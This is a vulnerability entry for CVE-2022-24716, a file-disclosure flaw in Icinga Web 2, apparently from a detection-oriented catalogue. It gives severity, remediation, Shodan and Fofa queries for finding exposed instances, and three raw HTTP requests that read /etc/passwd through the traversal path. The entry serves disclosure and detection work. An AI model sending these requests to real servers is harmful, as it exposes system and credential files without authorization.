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CVE-2022-24716: Icinga Web 2 - Arbitrary File Disclosure

TitleIcinga Web 2 - Arbitrary File Disclosure
AuthorDhiyaneshDK
SeverityHigh
ImpactThe vulnerability can lead to unauthorized access to sensitive information, potentially exposing credentials, configuration files, and other sensitive data.
RemediationThis issue has been resolved in versions 2.9.6 and 2.10 of Icinga Web 2. Database credentials should be rotated.
CVSS Score7.5
EPSS Score0.92826
CVE IDCVE-2022-24716
CWE IDCWE-22
Shodan Querytitle:"Icinga"http.title:"icinga"http.title:"icinga web 2 login"
Fofa Querytitle="icinga web 2 login"title="icinga"
Tags cve cve2022 packetstorm icinga lfi vkev vuln

🔍 Vulnerability Description

Icinga Web 2 is an open source monitoring web interface, framework and command-line interface. Unauthenticated users can leak the contents of files of the local system accessible to the web-server user, including icingaweb2 configuration files with database credentials.

🌐 HTTP Request

GET /lib/icinga/icinga-php-thirdparty/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13.2) AppleWebKit/619.14.1 (KHTML, like Gecko) Version/17.7.52 Safari/619.14.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /icinga2/lib/icinga/icinga-php-thirdparty/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /icinga-web/lib/icinga/icinga-php-thirdparty/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24716.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-24716.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A